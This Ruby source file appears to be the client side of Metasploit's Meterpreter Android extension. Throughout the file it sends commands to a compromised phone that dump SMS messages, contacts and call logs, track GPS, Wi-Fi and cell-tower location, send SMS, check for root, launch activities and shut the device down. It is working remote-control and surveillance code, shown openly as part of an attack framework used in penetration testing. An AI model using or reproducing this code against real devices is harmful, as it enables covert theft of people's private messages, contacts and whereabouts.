#!/usr/bin/env ruby # # -*- coding: binary -*- require 'rex/post/meterpreter/extensions/android/tlv' require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/channels/pools/stream_pool' module Rex module Post module Meterpreter module Extensions module Android ### # Android extension - set of commands to be executed on android devices. # extension by Anwar Mohamed (@anwarelmakrahy) ### class Android < Extension COLLECT_TYPE_WIFI = 1 COLLECT_TYPE_GEO = 2 COLLECT_TYPE_CELL = 3 COLLECT_ACTION_START = 1 COLLECT_ACTION_PAUSE = 2 COLLECT_ACTION_RESUME = 3 COLLECT_ACTION_STOP = 4 COLLECT_ACTION_DUMP = 5 COLLECT_TYPES = { 'wifi' => COLLECT_TYPE_WIFI, 'geo' => COLLECT_TYPE_GEO, 'cell' => COLLECT_TYPE_CELL, } COLLECT_ACTIONS = { 'start' => COLLECT_ACTION_START, 'pause' => COLLECT_ACTION_PAUSE, 'resume' => COLLECT_ACTION_START, 'stop' => COLLECT_ACTION_STOP, 'dump' => COLLECT_ACTION_DUMP } def initialize(client) super(client, 'android') # Alias the following things on the client object so that they # can be directly referenced client.register_extension_aliases( [ { 'name' => 'android', 'ext' => self } ]) end def collect_actions return @@collect_action_list ||= COLLECT_ACTIONS.keys end def collect_types return @@collect_type_list ||= COLLECT_TYPES.keys end def device_shutdown(n) request = Packet.create_request('device_shutdown') request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n) response = client.send_request(request) response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value end def set_audio_mode(n) request = Packet.create_request('set_audio_mode') request.add_tlv(TLV_TYPE_AUDIO_MODE, n) response = client.send_request(request) end def interval_collect(opts) request = Packet.create_request('interval_collect') request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]]) request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]]) request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout]) response = client.send_request(request) result = { headers: [], collections: [] } case COLLECT_TYPES[opts[:type]] when COLLECT_TYPE_WIFI result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level'] result[:entries] = [] records = {} response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g| timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP) timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S') g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w| bssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID) ssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID) key = "#{bssid}-#{ssid}" if !records.include?(key) || records[key][0] < timestamp # Level is passed through as positive, because UINT # but we flip it back to negative on this side level = -w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL) records[key] = [timestamp, bssid, ssid, level] end end end records.each do |k, v| result[:entries] << v end when COLLECT_TYPE_GEO result[:headers] = ['Timestamp', 'Latitude', 'Longitude'] result[:entries] = [] records = {} response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g| timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP) timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S') g.each(TLV_TYPE_COLLECT_RESULT_GEO) do |w| lat = w.get_tlv_value(TLV_TYPE_GEO_LAT) lng = w.get_tlv_value(TLV_TYPE_GEO_LONG) result[:entries] << [timestamp, lat, lng] end end when COLLECT_TYPE_CELL result[:headers] = ['Timestamp', 'Cell Info'] result[:entries] = [] records = {} response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g| timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP) timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S') g.each(TLV_TYPE_COLLECT_RESULT_CELL) do |cell| cell.each(TLV_TYPE_CELL_ACTIVE_GSM) do |info| cid = info.get_tlv_value(TLV_TYPE_CELL_CID) lac = info.get_tlv_value(TLV_TYPE_CELL_LAC) psc = info.get_tlv_value(TLV_TYPE_CELL_PSC) info = sprintf("cid=%d lac=%d psc=%d", cid, lac, psc) result[:entries] << [timestamp, "GSM: #{info}"] end cell.each(TLV_TYPE_CELL_ACTIVE_CDMA) do |info| bid = info.get_tlv_value(TLV_TYPE_CELL_BASE_ID) lat = info.get_tlv_value(TLV_TYPE_CELL_BASE_LAT) lng = info.get_tlv_value(TLV_TYPE_CELL_BASE_LONG) net = info.get_tlv_value(TLV_TYPE_CELL_NET_ID) sys = info.get_tlv_value(TLV_TYPE_CELL_SYSTEM_ID) info = sprintf("base_id=%d lat=%d lng=%d net_id=%d sys_id=%d", bid, lat, lng, net, sys) result[:entries] << [timestamp, "CDMA: #{info}"] end cell.each(TLV_TYPE_CELL_NEIGHBOR) do |w| net = w.get_tlv_value(TLV_TYPE_CELL_NET_TYPE) cid = w.get_tlv_value(TLV_TYPE_CELL_CID) lac = w.get_tlv_value(TLV_TYPE_CELL_LAC) psc = w.get_tlv_value(TLV_TYPE_CELL_PSC) sig = w.get_tlv_value(TLV_TYPE_CELL_RSSI) * -1 inf = sprintf("network_type=%d cid=%d lac=%d psc=%d rssi=%d", net, cid, lac, psc, sig) result[:entries] << [timestamp, inf] end end end end result end def dump_sms sms = [] request = Packet.create_request('dump_sms') response = client.send_request(request) response.each(TLV_TYPE_SMS_GROUP) do |p| sms << { 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value), 'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value), 'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish, 'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value) } end sms end def dump_contacts contacts = [] request = Packet.create_request('dump_contacts') response = client.send_request(request) response.each(TLV_TYPE_CONTACT_GROUP) do |p| contacts << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value), 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)), 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER)) } end contacts end def geolocate loc = [] request = Packet.create_request('geolocate') response = client.send_request(request) loc << { 'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value), 'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value) } loc end def dump_calllog log = [] request = Packet.create_request('dump_calllog') response = client.send_request(request) response.each(TLV_TYPE_CALLLOG_GROUP) do |p| log << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value), 'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value), 'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value), 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value) } end log end def check_root request = Packet.create_request('check_root') response = client.send_request(request) response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end def activity_start(uri) request = Packet.create_request('activity_start') request.add_tlv(TLV_TYPE_URI_STRING, uri) response = client.send_request(request) if response.get_tlv(TLV_TYPE_ACTIVITY_START_RESULT).value return nil else return response.get_tlv(TLV_TYPE_ACTIVITY_START_ERROR).value end end def set_wallpaper(data) request = Packet.create_request('set_wallpaper') request.add_tlv(TLV_TYPE_WALLPAPER_DATA, data) response = client.send_request(request) end def send_sms(dest, body, dr) request = Packet.create_request('send_sms') request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest) request.add_tlv(TLV_TYPE_SMS_BODY, body) request.add_tlv(TLV_TYPE_SMS_DR, dr) if dr == false response = client.send_request(request) sr = response.get_tlv(TLV_TYPE_SMS_SR).value return sr else response = client.send_request(request, 30) sr = response.get_tlv(TLV_TYPE_SMS_SR).value dr = response.get_tlv(TLV_TYPE_SMS_SR).value return [sr, dr] end end def wlan_geolocate request = Packet.create_request('wlan_geolocate') response = client.send_request(request, 30) networks = [] response.each(TLV_TYPE_WLAN_GROUP) do |p| networks << { 'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value), 'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value), 'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value) } end networks end end end end end end end